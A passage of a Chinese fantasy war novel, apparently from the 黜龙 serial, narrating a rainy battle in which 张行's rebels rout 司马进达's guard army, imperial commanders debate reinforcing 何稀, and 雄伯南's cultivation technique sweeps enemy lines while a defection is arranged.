其人既抱马而走,离开官道,进入野地中后却才察觉,那黜龙贼大将居然没有跟来,扭头一看,对方居然弃了自己,继续向空虚的中军而去,而随行的其余骑兵也打开了最后几排后卫的防护,紧跟不舍。 见到这些黜龙贼的骑兵继续顺着官道冲锋,司马进达初时不解,六千禁军原本是行军状态,军阵沿着道路铺设,这几十骑难道还想凿穿六千人的细长军阵不成? 但很快,其人便意识到那黜龙贼大将要做什么,或者说已经看到对方在做什么了,复又目瞪口呆,继而惊恐起来。 无他,他的“司马”将旗被人拔了出来。 斩将夺旗嘛,将旗被卷,委实难堪。 但这还不算最难堪的,或者说难堪也就罢了,毕竟……原来,“司马”将旗被**之后,那黜龙贼大将并未直接弃地或卷走,反而是手持大旗,高高举起,然后纵马向前,身后那些突破后卫跟上的黜龙贼精锐也都纷纷尾随,居然顺着禁军之前进军的道路反向奔驰而去。 沿途禁军将士,根本不晓得后军发生了什么,只见到自家主帅大旗端端高举,然后一股骑兵护着大旗顺着进军的大路穿阵而过,几乎是人人躲避,就从官道**行军阵列,转到两侧田野。 远远望去,宛若秋日麦浪被奔跑野兔分开一般流畅。 稍有躲避不及者,试图查看者,皆被骑兵当场刺于道旁,恰如野兔蹬伏麦秆,也是进一步引发了恐慌与混乱。 司马进达目瞪口呆,还想要做些什么,却不料,此时身后喊杀声大作,其人复又回头去看身后,却见到黜龙军那千余人的次锋已经杀到后军,正在发动冲锋,这还不算,而更远方的黜龙军大阵也都启动,却是离开了道路,踏着田野中的郁郁葱葱的麦秆,往自己这里铺陈而来。 远远望去,仿佛雨水中有一根连结天地的横线,正在推着那面“黜”字大旗向自己压来。 司马七郎登时明了,由于自己的错误应对以及对方的强大,自己这支部队凶多吉少了。 “传令下去!” 一刻钟后,司马进达几乎是单骑寻到了队伍中被隔在官道南侧的另一位郎将。“不要顺着大路往回走,全都往西南走,去原定战场范圩子找何将军也好,去范圩子西南找左仆射也好,总之要汇合其他兵马,能带走多少人是多少人!” 说完,亲自招呼了几队人,便开始带领这些人往西南而去。 这几乎相当于放弃了抵抗。 但实际上,留下来也没用,全家被驱赶下了官道,阵型被从对方骑兵从腹心中间直接穿过,后卫先被突破又被咬住,现在黜龙军大队又要到来……倒不如说,这个时候放弃抵抗,鼓动逃窜,才是最明智也是最负责任的选择。 中午时分,司马德克在距离预定战场,也就是范圩子西南面十里的一处小村子,唤作张圩子的地方,见到了司马进达。 左仆射见到了右仆射。 后者坐在路边一个石墩上,甲胄和罩袍上有些泥点,头盔倒放在一边,里面的衬垫已经完全湿透……此时听到动静,抬起头来,双目却有些失神。 “七将军。”司马德克扶着腰中长剑似笑非笑。“听人说你六千人被几百骑打崩了?以至于扔下一半人就逃了?黜龙贼何时这般能战?” 司马进达没有理会对方嘲讽,倒是一五一十将战败经过讲述了一遍。 司马德克听到一半,便收起笑意,也变得严肃起来:“三百骑,全都是奇经高手?张贼本人亲自督大阵在后?” “是。” “那倒败的不冤。”司马德克眯起眼睛,扭头去看身侧的部队行列。“张贼本阵有大概多少个营?” “七八个……不好说,十来个也说不定。” “雄伯南在不在?” “没见到。” “这倒是有些怪了。” “雄伯南?他此时直接去淝水西面监视东都或吐万老将军也是寻常吧?” “本将不是说这个。”司马德克叹了口气。“而是说,可惜七将军没有去见何稀将军。” “何稀怎么回事?也败退了吗?” “恰恰相反。”司马德克认真作答。“何稀那里又遭遇了贼军五六个营的猛扑,而且其中明显有张贼的心腹部众,三个姓贾的、两个姓翟的头领全都到了……领头抓总的也是熟人,徐师仁你还记得吧?那个偷了家人回到鲁郡的鲁郡大侠。但这么多贼人,居然都拿何将军不下。” “一万对九千?”司马进达想了一想,意识到发生了什么。“援兵到了,兵力差距不大,而且何稀有工事阵地?” “对。”司马德克点点头,顺便努嘴示意。“淮北的村寨都是圩子,自带工事的。” 司马进达扭头看了看带着壕沟和土垒的小村子,摇摇头,也叹了口气:“那也很了不起了。” “可还是不知道是不是贼军故意示弱,引诱我们过去。”司马德克提出了看法。“七将军怎么看?” 司马进达坐在那里,身上的护体真气一开始见面时还在,到现在则不知何时已经散掉,其人抬头望了望天,任由雨水打在脸上,片刻后却摇了摇头:“左仆射,不瞒你说,我从前几日开始就思虑过重,失了果断,今日作战,更显得失措……贼军做什么,我都在那里想缘故、做考量,反而失了敏锐。这一战,你尽管做决断,我和我剩余部属,任你驱驰。” 听到这里,司马德克大喜过望,赶紧松开扶剑之手,上前按住对方肩膀,顺势就在石头上与对方并坐下来:“不瞒七将军,我觉得这一战还是有的打的……但现在,我们何妨就在这张圩子不动,静观其变。” “静观其变?” “不错。”司马德克朝身边人笑道。“贼军虽众,且超乎预料,但我已经联络了最近的崔(弘昇)将军,李将军(安远)、张将军(虔达)现在合兵一处,兵力更盛,也马上要到,咱们以援兵为限,若今日有援兵至,而何稀尚在守,不管黜龙贼是装的还是真的,哪怕是夜间也可以出兵反扑……若是援兵不至,而前方支撑不住,我们主动后撤,去汇集其他兵马,再做打算。” 司马进达本想说对方过于想当然,尤其是对对方情报不足的情况下,但转念一想,自己也没有更好的法子,进退取舍什么的,也都无从谈起,就只能颔首:“左仆射思量妥当,我还是那句话,你尽管决断,我任你驱驰。” “何谈驱驰?”司马德克愈发大喜。“七将军且坐此地休整,军事我自为之。” 随行大军就此停驻。 另一边,预定的主战场处,也就是贾务根昨日不巧被包围的地点,唤作范圩子的地方,何稀带领自己手下一个郎将,加上牛方盛先行的援军,后来抵达的本部另一援军,合兵近万,果然是抵挡住了足足七营黜龙军。 而且并非是虚假的阻挡,是实打实的拦住了黜龙军。 原因嘛,不言自明。 “兵不甚优,将不甚优,但到底算占优。”分战场战局已定,扔下追击部队匆匆抵达主战场的李定只是一扫,便蹙眉下了定论。“只是何公工事确实修的稳妥……一夜之间,缺乏建材,却依然反向起了三条壕沟,如今还占据了村庄……壕沟里是什么?” “是从地里割来的绿麦秆。”徐师仁迅速回报。“还撒了土……下着雨,军士披甲过去,打滑的厉害,倒下爬起来都难。” “还真是何公的手段……”李定明显有些无语。“村子呢?之前村子不是在大贾头领手里吗,我看还有壕沟跟土垒,为何全被禁军所占?” “算是我们中了计策。”徐师仁明显有些尴尬。“何公原本是围住这圩子不动,全力攻打在外围的贾闰士、翟宽两位头领,当时已经把小贾头领的阵地夺取过半,然后我们前四个营与禁军援兵正好一东一西抵达,我们便赶紧迎上,试图夺回阵地,结果何公立即趁势收缩兵力,转而与援军**圩子里的大贾头领,却专门露了个破绽,将南面让出了个缺口……” “何公还有这个临阵的才智?”李定有些发懵。“我怎么不记得?还是军中有哪个郎将出的主意?” “我觉得何公倒不是存心想如何,只是看上了村子的天然工事,想占据下来而已。”徐师仁有一说一。 “确实。”李定愣了一下。“换成别的人,总该想着吃下大贾头领……从昨晚上便该想着吃了,也就是何公,从头到尾都在防。” 徐师仁沉默片刻,复又来问:“李龙头,你既过来,眼下情形,可有指导?” “真要是打,不是不能打,但就这样也不错。”李定毫不迟疑给出答案。“伤亡少些,还能引来援军……如我所料不差,他们后方不远处必然还有一支兵马,犹豫要不要上前……反正这样耗着,最起码不会让后面的禁军跑了吧?” 徐师仁点点头,立即会意……眼下这个局势怎么搞无所谓,只要两翼大包抄到位,局势就会抵定,非要说一些额外的关键因素,一个是包抄之后包住的禁军有多少,另一个是真要围歼时的战术速度。 放下这个,徐师仁复又来问:“如此,那边不是说轻松获胜吗?如何只有龙头来此,首席又在何处?” “那边打的很利索,但好几千人……莫说好几千人,就是好几千头猪都得抓半日。”李定冷笑道。“但张首席倒不是去督众追溃去了,那边是徐大郎的看着,他跟雄天王、柴龙头在来的路上遇到了这边撤下来的伤员,外加一些避难的本地村民,反正后方得胜,而前方又听说僵持,便留在在那里存问风俗呢。” “这倒像是张首席的作为了。”徐师仁连番点头。 而李定顿了一顿,主动来问:“徐大头领可有什么想法?可寻到破绽?” 徐师仁苦笑一时:“破绽自然是有的,但哪个破绽不得试一试?” 张行的确是在存问风俗。 但风俗只问了一会功夫,他就遭遇问题了。

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“可是平白拆毁道观,无论如何也都不对呀?”白帝观道人不由着急。“而且大首席你看,一逢战事,百姓往往就要到观中躲避,要是按照这个说法,这次都得拆了道观,那下次没有可拆的,又该如何?” “确实。”张行一面再三点头,一面却瞬间给出了方案。“那这样好了,按照我们帮中刚刚立下的规矩,所有的道观道产都归玄道部管,那道观道产就应该从玄道部中登记清楚……这样登记之后,战时,道观有为周围百姓、我方伤员提供庇护的义务,包括观中任何事物人财,需要贡献的时候,观中也不得推辞;但是战后,玄道部应该按照战前对应道观的登记,在三年内重建相同规模的道观,补足对方消耗的财产,还应该分别按照道观和对应道人在战中的表现,予以表彰和惩罚……这一次,大家就不要计较什么细枝末节,三年内,官府出钱粮,周遭百姓出役,给你重新修好便是,你看如何?” “这就妥当了。”一直有些紧张的雄伯南登时松了口气。 “不错,这就妥当了。”柴孝和则是拊掌而笑。 而那道人面色严肃,低头思索,却也说不出话来,只能悻悻而退。 “也只能是这样。”张行见对方离开,却只看着雄、柴等人来言。“而且,若是我猜的不错,之前各朝各代的法度中一定都有类似的规矩,只是荒废或者失效了而已……” “不错。”柴孝和继续附和。“也就是崔总管不在这里,不然早就一五一十的给我们背出来了。” “崔总管不会这么做。”张行终于摇头感慨。“他一定知道这些旧日法律,却不一定会主动当面说出来……他会看我们能不能自行处置,若不能,再告诉我们相关旧律;若能,便会等我们处置完了,再行告知,而且一般是私下告知。” 雄伯南想了一想,重重颔首。 “为何如此?”柴孝和倒是真好奇了。 “因为他知道,律法是为了让人方便做事,做成事,做好事,而不是阻碍人做事。”张行平静叙述。“偏偏这种土崩瓦解的时候,很多时候需要便宜行事,需要糊弄行事,才能勉强成事,他是怕先把律法说出来,会束缚人做事,反而阻碍了成事,所以谨慎。” 柴孝和想了一想,然后不由摇头:“委实受教了,加上今日秦二郎的姿态,帮中真是藏龙卧虎……我原本以为准备将们昨夜结阵封河,今日已经不宜上阵,却不想还有秦二郎这种突阵猛将可做先导。” “秦二自是有本事的,不过,藏龙卧虎也是实话。”张行幽幽以对。“若黜龙帮真的稍有气象,能聚如此之众,合这么多英才,方是根本。” “张首席有这个聚人的念头,也是根本。”几乎算是一直旁观的雄伯南忽然插嘴。“秦二郎今日夺旗之功,可以临时署头领了。” 张行点点头,却来不及表态,而是接过了此时忽然有人送来的一个牛皮袋子,打开一看,犹豫了一下,方才看向了不远处面无表情听着一切的一人,稍显犹豫:“虞文书!” 虞常南立即起身,从容拱手:“首席吩咐。” “你知不知道这种道观道产在战时的规矩和律法?”张行认真来问。 “知道一些。”虞常南有一说一。“但要以白帝爷前后做计较……前面的是道观自家就有所属,四御各家都有各家的支持,相互拆观杀道人也属寻常;后面三一正教起来后,大略就是首席的那个规矩,但还是会掺杂立场……比如大魏与真火教之间就有计较。” 张行点点头。 “那为何没有告知我们呢?”雄伯南此时也认真来问。“是跟崔总管一般心思吗?” “不是。”虞常南倒是坦诚。“是跟崔总管一样怕律法、旧制坏了眼前事情,但崔总管是为公,我是图私……现在司马兄弟就在眼前,而且已经打了起来,恕在下不愿遮掩,此战没有个结果,在下是不会定下心来,替帮中做全盘考量的。” 雄伯南都笑了。 张行也点点头:“也是,若要你归心,总得看此战结果……我其实正想跟你说,前面说秦二捉到一个郎将,汇报了最新军情……说是今日当面的确定是司马进达了,若是这般,是不是有些可惜?” “确实可惜。”虞常南摊手,言语却依旧从容。“但也无妨,一则,仗还没打完,无论今日下午包抄完成后,还是再往后,司马进达未必就能逃脱;二则,天运无常,若能打杀了司马兄弟,自然能纾解胸意,但不能打杀他们,破了禁军,大大坏了司马氏成事的根基,也是报仇。” “末将也是这个意思。”旁边白有宾也起身拱手。 “都不好说。”张行幽幽以对,还是不置可否。“两位,我还收到一个情报,说是司马化达可能不会参战,而是要去投降的谯城过夜……你们觉得是真是假?” “必然是真。”虞常南抢先做答。“必然是真!” “这就好。”张行点点头,似乎终于问完了,却又忽然再看向了白有宾。“白将军” 白有宾一愣,赶紧再度拱手:“首席吩咐!” “徐大头领与李龙头说,前面支援何稀的是牛方盛,牛方盛部中似乎有你旧部。”张行下了军令。“到前线范圩子去,先做调略,不要着急发动,等李龙头或徐大头领指示……” 白有宾一时惊喜,匆匆拱手便走。 倒是雄伯南,此时陷入到了一个疑惑——那就是,张行明明只收到一个牛皮袋子,那袋子里的情报到底是指哪个? 当然,在眼下这个战场中,计较这个委实没什么意义。 半个时辰后,刚入午后,秦宝收军而来,负责追索的六个营中,三个营也在徐大郎的指挥下归于建制,重新汇集到张行身侧,而又过了半个时辰,苏靖方、樊梨花联手发回布告,他们追击之前溃散敌军来到何稀部西南方十里的地方,遭遇到了大股禁军主力。 而也就是从这个时候开始,军情变得密集和紧张起来,北翼、南翼、前方都有战事,莽金刚、牛达处更是同时爆发大规模战斗。 这不是巧合,必然是禁军临时指挥中枢的反应传达到了外围部队,而外围部队在执行中遭遇黜龙军引发的冲突。 张行在徐世英的建议下,停止了对后方逃难百姓的召见,离开了后方伤病营地,迅速前提,来到了预定主战场,看到了何稀的阵地。 黜龙军中路主力各处头领也都汇集在那面红底“黜”字大旗下,等候军令。 “两个方案。” 此时雨水稍歇,李定步行从一处阵地走过来,远远见到张行,便言简意赅说了计划。 “第一,在这里等,后方禁军主力集团已经暴露,在我们的包抄的范围内,等两翼合围后再进攻,这样的好处是稳妥,能确保包围的敌人足够多,甚至可能还会有其余禁军主力落入我们包围;坏处是两翼包抄和打援的部队可能会陷入一定时间苦战。 “第二,现在就攻击,趁你刚刚抵达,眼前敌军震恐的机会,先发动总攻,然后驱赶身前败兵到禁军主力集团处,恰好与两翼包抄部队会师,这样的好处是能确保和维持胜势,不让自己部队陷入苦战,却让禁军抬不起头;坏处是此处战斗失利后,可能会让后方禁军那个主力集团丧失战斗欲望,转而逃窜,就好像今日司马进达一般,跑出去许多兵,将领更是别指望能抓到扑杀几个……” “你建议哪个?”张行蹙眉道。 “第一个!”来到跟前立定的李定扬声做答。“吃一口饱的,让禁军今日内便损失过半。” “我选第二个!”张行也没有半点迟疑,却又看向了白有宾。“白将军,如何,其中有你旧部吗?在何处布防?可愿投降?” “是我旧部,我也都见了,他们在圩子西北部,也就是在眼前禁军阵地的侧后方,但他们都有顾虑,不愿意轻易投降。”白有宾紧张万分。“但那是之前的,现在首席过来,又带来新的援军,他们必然震动,请首席许我再走一遭!说不定连牛方盛也会动摇!” “那就再走一遭,但不要做商议,只做通知,告诉他们,等我发起进攻后,立即倒戈,杀向何稀,否则战后决不轻饶。”张行立即吩咐。“来去都从敌阵上空腾跃过去,速去速回,我还要等你消息……其余所有领兵头领,各自进入各营阵地,见我这里出兵,便发动总攻。” 前面还是交代白有宾,后面赫然是吩咐其他头领了。而无论是白有宾还是这些领兵头领,全都来不及再做讨论与进言,便都匆匆离开这面大旗,连徐世英、柴孝和都回各自营中了。 一时间,只有李定这个本营就在大旗之后的人随雄伯南、秦宝等张行直属留下。 须臾片刻,白有宾不顾一切,果然从敌阵上空腾跃回来,告知了任务的完成。 张行便扭头去看身侧之人。 秦宝本能便要出列拱手。 孰料,张行没有理会他,而是直接去看周围参军、文书、准备将:“你们现在去传令,天王一动手,全军十个营就一起发动!先登圩者赏,擅退者斩!” 说着,终于看向雄伯南:“天王,正要你做总攻先手!大旗与你,借你神威,先去白将军旧部阵地,狠狠给他们来一下,让他们见识一下宗师之威!” 雄伯南未及开口,秦宝还在错愕,身后虞常南呼吸都重了,白有宾更是面露骇然之色,倒是李定笑了。 第二十九章风雨行(29) 与历山一战比,虽然都是雨中作战,而且南方的梅雨明显比北方的雨水更绵延一些,但实际上,因为南方有对应的排水能力,这就导致此战虽然是雨中作战,但却并没有泥窝打滚的感觉,战场上的局部行动最起码是视野可及的、大略可控的。 取而代之的,其实是战略层面的混沌,是战略上视野的受阻与行动挣扎,完全可以说这次是战略层面陷入到了泥潭打滚的境地。 只不过,这个战略泥窝境地其实是单方面的,黜龙军通过冰桥渡河,成功摆脱了这个境地,而禁军却还是在泥窝中。 早在张行率领又三个营抵达范圩子以后,何稀就立即向身后求援了,他是知道司马德克和司马进达在身后的。而且,彼时其人措辞便非常激烈,直言若不来救,他就直接降了黜龙贼! 「听何将军瞎扯,除非他被擒,否则断不会作降的。」张圩子外面的一处土垒上,伴随着雨声和远处的一点嘈杂声,元礼正嗤之以鼻。「他以降人子弟身份少年入关,几十年辛苦,如今终于爬到尚书、将军的位置,成了关陇的中坚,若是降了,倒无所谓取舍,关键是他得在河北重来一回少年时低人一等的艰辛……这如何能忍?」 「这倒是实话。」司马德克笑道。「何将军一定会为了禁军大局撑住的……但现在的关键是,崔(弘昇)将军的前锋还有七八里路,我们是等他一起,还是直接去支援?」 此时汇集过来的禁军众将已经颇多,闻言却无人做答,反而纷纷去看立在一旁的司马进达,这让左仆射司马德克一时无奈,只能继续干笑,却也看向了司马进达。 无他,从局势上来看,黜龙帮明显带来了意料之外的援兵(三贾二翟与疑似河北李定部属),展现了意料之外的战力(三百奇经准备将),所以大家确实有些畏战;而从权力结构上来说,平素司马兄弟颐指气使的时候,大家本能拱着司马德克以作对抗,但那本质上是为了各自兵权与**独立性,真不是说要跟根基深厚的关陇顶级门阀司马氏作对,至于现在司马德克要做主,大家反而不安。 说白了,此司马非彼司马,你也配姓司马? 司马进达见到众人都来看自己,也有些无奈,只能开口:「若是两可,只听左仆射决断即可,这个时候最忌讳的乃是分兵与犹疑不定。」 这话是个正确的废话,众人无奈颔首,只能又看回了司马德克。 「还是要说清楚。」司马德克见到司马进达态度依旧,愈加振奋。「若是等在这里,一则是等援兵,二则是防止打草惊蛇,三则是以少耗多,借着何将军跟雨天耗一下贼人;而若是此时支援,则有可能一举击败贼人中枢,促使全局及早获胜,摆脱这次贼人发动的突袭影响。」 众人面面相觑,只逼着元礼正正色道:「左仆射,好处是好处,坏处是坏处?两个选择的坏处什么?」 「第一个的好处就是第二个的坏处,第二个的好处就是第一个坏处。」司马德克昂然笑道,俨然自信。 众人还是面面相觑,似乎有些话不好说出口。 便是司马进达,这个时候都有些后悔,因为自己思虑过重而主动让贤是没错,统一指挥是没错,可放给司马德克后这厮这般志气昂扬起来却委实没有想到。 就好像……就好像穷人乍富,贫贱忽贵,就开始管不住自己一般。 这种局面,只虑胜,不虑败吗? 「左仆射只虑胜不虑败吗?」眼看着司马德克过于自大,而司马进达又似乎没了志气,无奈之下,元礼正只能冒头充当这个角色。「留在这里等援军,前头何将军便是不会降,可直接败了又如何?按照右仆射的说法,张贼那里带着足足三百奇经高手,实力不俗,若是结阵攻进去,坏了局面也是 寻常。而若是现在往前去,结果却是诱敌,贼人还有更多大部队在埋伏,又如何?」 「若是照你们这个计算,我们是不是要弃了何将军和牛将军他们,直接撤退?或者学司马丞相寻个城守着,等司马大将军从东都来救我们?」司马德克立在雨中失笑道。「你们心里只有胜败,没有考虑得失吗?」 众将陡然一滞。 还是元礼正赶紧拱手:「请左仆射指教。」 「没什么可指教的。」司马德克摆手。「人各有志,我也不好与你们说什么得失,只说一件事……元将军,你说贼人或有埋伏,那我问你,便是黜龙贼早有准备,而且确实有援军,此时又全力来发,可从昨日下午河畔交战开始,到此时此刻,一日一夜,他到底能渡过河西多少个营?」 不只是元礼正,其余诸将也似乎都若有所悟。 而司马德克也继续嗤笑道:「要我说,咱们不要管什么三贾二翟什么武安李定,只说他们能渡来几个营?现在露了几个营?分别在何处?被我们打溃、打残的又有几个营?分散在南侧明显远一些来不及过来的又有几个营?兵力、天时、敌我,这些东西,诸位果然都没有计较吗?」 说完,司马左仆射便扶着腰刀扭头看向了应该正在交战的东北面,似乎是不屑于与众将辩论这么简单的事情,又似乎是不适应这种以单临众的对抗局势。 而众将思索了片刻后,明显没了刚才的紧张,但还是不主动说话,只是去看元礼正,逼着这个理论上算司马德克直属的人做出头鸟。 元礼正何等滑头,他还是去看司马进达。 无奈何下,司马右仆射再度开了口:「确实,而且若这般计较,反而要尽快过去为上,因为去的越晚,他们的支援可能就更多。」 本质上,到底是附和了司马德克。 「右仆射所言极是。」司马德克立即颔首,同时继续认真来劝其他人。「其实,便是那三百奇经高手,诸位想过没有,是不是恰好说明贼人本就知道自己来不及渡这么多兵,就先把其余各营精锐集中带过来了呢?」 众人再度一愣,继而恍然。 便是司马进达一愣之后,也居然觉得挺有道理,不然如何解释? 「有没有一种可能……」事情既然说开了,两位仆射也似乎统一了意见,就是要出兵,这个时候的元礼正反而理直气壮装扮演起了反对派。「贼人开了真气大阵,还有宗师坐镇,直接封冻了河面将黜龙帮五十个营一起送了过来呢?当日二征时,不就有人这般做,使得物资无数过了东夷一条河,方便何将军给那先帝起城吗?」 「这倒是个说法,说不得真有些可能。」司马德克笑道。「可要是这般,咱们也没什么可计较的,扔下何稀牛两位将军还有九千禁军将士直接跑了便是……但还是那句话,现在情况不明,谁来做主弃了他们?而若不弃,便要想着何时出动的事情了。」 元礼正立即颔首而笑,他本就是做个角色扮演而已,刚刚那话他自己都不信。 不过,司马进达倒是认真思考了一下,然后缓缓摇头:「应该不会,黜龙贼一见面就发那三百骑来冲我,他们都只是奇经,真气最不稳定,若昨夜结阵封了河,彼时必然已经萎靡,如何敢放出来直冲大军?便是三百骑冲我时没有自行结阵,也只是为首大将想做偷袭,而不是没有再结阵的底气。」 「这不就妥当了吗?!」司马德克摆了下手。「其实,我知道诸位为何担心,本意上还是咱们被突袭,发动从开始到现在还不到一天的事,而且聚在这里的都是偏后方的兵马,大部分人是昨夜才接到消息,也缺乏前面的情报……但是诸位,还是那句话,现在被突袭,明明被突袭前的情报还是我们战力占优,被突袭后 各处战场也是有来有回,难道真要不战而逃吗?难道要弃友军而走吗?」 其实还有何稀跟司马进达没有成功布置侦察网有关,但何稀被黜龙军刻意遮蔽视野,司马进达一战而败,甚至黜龙军派了两个一直追着败兵压到此地,这就是另外一回事了。 「正是这个道理。」司马进达也深吸了一口气,打起精神来言。「现在走,弃的可不只是眼前何将军跟牛将军那九千人,鱼老将军也相当于被我们弃了!还有张虔达将军跟李安远将军,我们已经让他们过来了,若是路线有偏差,贼人见我们跑了,却在破了何将军他们后转头咬住了张将军,我们又该如何?」 「末将懂两位仆射的意思。」元礼正也俨然严肃了起来。「可若如此,就只剩一件事了。」 「说来。」 「雄伯南没露面,可张贼的旗帜是正经出来了,不是说他也是个宗师吗?怎么对付?」元礼正愈发严肃。 「那是之前的说法,我得到的最新说法是,此人不是宗师,之所以能与英国公相对是因为他有伏龙印、惊龙剑在手。」司马德克即刻回复。「若用伏龙印,我们反而得利!」 元礼正一声不吭,只去看司马进达,后者也立即点头。 到此为止,周围禁军诸将再无异议,只催促两位仆射做主,而司马进达再度表态,要司马德克来自行主帅之事。 司马德克也不客气。 不过,他稍作思索,却选择了跟之前想法不一样的方案:「诸位,既然大家还是忧心,咱们就不等崔将军了,立即出发,反正也差不了多久,先保住何将军,再试着当面一战逼退贼军,取得主动再说。」 这一次,众将轰然应诺。 片刻后,包括司马进达残部在内的最少一万五千大军不顾左前方尚有两个营的黜龙贼阻挠迟滞,径直启动,离开了张圩子,向东面的范圩子而去。而部队才刚刚启动,忽然间,队伍中司马德克、司马进达为首的几名修为较高将领便齐齐惊动,各自从马上抬起头来,穿过雨线,惊愕看向东面。 彼处,云后似乎有一面紫色巨幕一闪而过。 这意味着什么,谁都知道——黜龙帮的宗师已经抵达范圩子战场,并投入战斗。 而且,这位宗师在刚才那番看似调理分明讨论中并没有被提及,或者说这个敌方重要战力已经隐隐被否定会出现在战场上。 「加速前行!」司马德克沉默片刻,立即继续催动马匹,同时大声通知了自己的亲卫们。「告诉各部,加速前行!」 诸将闻言,情知司马德克是想说「继续前行」,却也无话可说,毕竟,大军已经启动,若是临时要停下来,必然会引发混乱。 再说了,前方贼军大盛,更应该速速去支援才对。 这个时候,正是所谓主帅临机决断之时。 就在禁军大队大举东进的时候,范圩子西北侧某处,随着天空中的紫色巨幕往下一扫,伴随着明显的版材、布料撕裂声,以及呼啸风声,整个阵地都陷入到了混乱中,继而又响起惊呼声,哀嚎声,咒骂声、哭泣声……杂成一片。 而范圩子的东面、南面、北面,原本就在冲锋的黜龙军则为此爆发出了更为巨大的欢呼声。 「牛将军!牛将军!」这个时候,相对于被直接扫到的人,反倒是旁边没有被波及的人里有人立即反应过来了,直接去寻这支部队名义上的主将牛方盛。 一处原本应该是放牲口的草棚下,牛方盛本来就被这一下惊的不行,此时被人喊到跟前,却如何不晓得对方意思,却几乎是哀求起来:「再等一等好不好?」 「牛将军!」来人急的跺脚。「兄弟们若本没有生路倒也罢了,现在有了却被 你堵塞,怕是要视你为仇雠的!你不要再拖延了,速速启动吧!」 「我懂你们的意思!」牛方盛大怒,终于也扶着剑从棚子下面钻了出来。「可是我们身居后方,若是轻易从了贼人,前面何将军岂不是被我们卖了?我们是挨了打,可现在何将军也正在为我们抵挡贼军!」 那人还要说什么,却不料牛方盛直接摆手:「我意已决!只要何将军在前,你们若想如何,且从我身上踩过去!」 却是缓兵之计失效后,根本就不装了。 然而,话音刚落,头顶不远处再度卷起的那面方圆十余丈的紫色巨幕已经成型,而且微微一动,只是一动,便引得下方阵地当场一静,然后那巨幕便往下方又一处地方扫去,只是一扫,便又是一阵胡乱呼喊之声。 来人再度去看牛方盛。 牛方盛闭目深吸了一口气,转身看向一人,后者是牛方盛从司马进达那里要来充当亲卫的部队首领:「你带人去圩子中间那几处路口,看住了,若是这些人真因为白有宾的鼓动要反,而我无法阻拦,你们无论如何都要拦住他们去冲击何将军背后!然后再唤一队**手,对着雄伯南放箭!」 那首领闻言愣了一下,然后认真提醒:「牛公子,后一件就算了,不能让人白送命。」 说完,只是一拱手,便径直带人去了。 而此人既走,牛方盛尚在怔怔,来说降的白有宾旧部,却在在雨中仰天一声叹气,然后便要离去。 孰料,牛方盛回过神来,直接拔剑:「你不能走。」 「牛将军这是何意?」来人无语摊手。「我们这般举止,归根结底不过是想救兄弟们的命罢了,你既派了兵,我如何还要拿自家兄弟当头来撞?」 「我不是怕你再去前线。」牛方盛摇头。「而是怕你带兵从后面逃了……还是那句话,何将军在前面一刻,我拼了命也要在后面为他顶住一刻……前面不行,后面也不行。而且你也听我一句劝,前方作战,你若逃了,后面撞上司马仆射,怕是要斩了你的。」 「黜龙帮不放过我们,你们也不放过我们!」来人气急败坏之余又有些沮丧。「不过是想囫囵着回个家而已,如何这般难?!」 牛方盛便想安慰对方,结果,这个时候,天上再度紫影重重,而且就在当头,也是立即骇的不敢言语,转身藏入棚中……这倒不是他愿意被棚子砸,而是更怕被头顶那位宗师发觉。 反倒是那来劝牛方盛投降的人,此时立在原地不动,只是呆呆望天,气喘吁吁,然后忍不住大声来喊:「黜龙帮的天王,竟然就这般力气吗?!未见你杀几个人!」 骇的牛方盛脸都绿了。 「雄天王观想大旗,可有什么出名的路数?」范圩子东北面的一处台地上,李定眯眼望着远方紫色大幕,忽然回头来问。 很显然,他已经察觉到了,雄伯南的宗师修为毋庸置疑,气势雄浑也没有半点问题,但是这位天王在半空中汇集真气,凝成紫色大幕,再如扫地一般向地面卷过去的招式,杀伤力其实并不显着……最起码跟薛常雄的金刀、白横秋的棋子、张伯凤的金戈相比,感觉不像是专造杀伤的招数。 「白横秋落子那种?」张行想了想,意识到对方的意思,便也给出答复。「有的,一则是真气卷成帷幕,以作阵地防御;二则是铺天而盖地,卷住尝试腾跃之敌将……眼下其实足够了。」 「原路如此。」李定恍然,却又再问。「可若是这般,没有居高指挥,规划进退的能耐吗?就好像真正的军旗、令旗那般,不是说单纯鼓舞人心那种。」 「或许将来有,但眼下貌似真没有。」张行连番摆手。「据我所知,天王的这两个本事,本就是因时而生……前一个是 他当时孤军在前,对上司马正,恰好需要防护营寨,被逼出来的;后一个,是当时帮中缺乏高端战力,每次打仗,都不能了断对方的凝丹高手,所以在河北就连成了这种扑杀高手的手段。」 「有需求,便应时而生。」李定若有所思点点头。「擒拿高手确实是宗师高手的必修……曹林跟牛河的绳子,虽然刚柔不同,却都能捆缚人,便是白横秋那个棋盘,怕是也能在必要时落下来作网,只是不晓得其他几位宗师的手段是什么?」 张行摇头不止:「观想这个东西,我倒是觉得只是个途径,就好像登山的路一样,路怎么走无所谓,归根到底还是要登到山顶上。」 「这是废话。」李定嗤笑道。「也是浑话……按照你的说法,能摒弃观想路数,可以攀着山顶的,最少也是个宗师,可天下宗师总是能一个个数出来的,大部分跟观想沾边的人,还是要重视观想路数的成丹境……太难了!」 张行默不作声。 因为就在这时,那面紫色的大旗第三次向着敌军阵地卷了下去,隆隆声隔着颇远都能听到。 「军中法度皆从三,三通鼓、三遍锣,雄天王如今已经三卷敌阵,白有宾的旧部便是降了,可要是落在第四卷之后,也不算是循了你的军令。」李定看了身边人一眼,提出了明确要求。「届时,这股敌军要严肃处理,你这个首席就不能再妇人之仁了。」 张行便要点头。 而这时,一直在后方束手而立的白有宾再不能坚持,赶紧抢在张行表态前上前,居然直接拜倒在台地上叩首:「首席,请再与我一次机会,让我再试一试!那些人两次救我性命,我实在是不能放他们自寻死路!」 「你自可去劝。」张行似乎认可了对方,却居然摇头。「但还是要以天王第四击来计量,须知军中无戏言!」 白有宾不敢怠慢,当场化作一道流光,飞也似的又去了。 「莽金刚那边已经跟张虔达交战了,阻击兵力暴露,他们就该知道是怎么回事了。」李定看着此人离去,微微皱眉。「再耽误事,说不得就会有变。」 「无所谓了,之前跟司马进达交战的时候我就知道,什么都撒出去了,没什么可计较的,便是后续冒出来个几个宗师要我们停战,我们也只能见招拆招了。」说着,张行又看向了秦宝。「做好准备,一刻钟后,若前线还没有突破,你就带人从侧翼去破一路,天王也会破一路,打开两个缺口,当面之敌便没有什么计较余地了。」 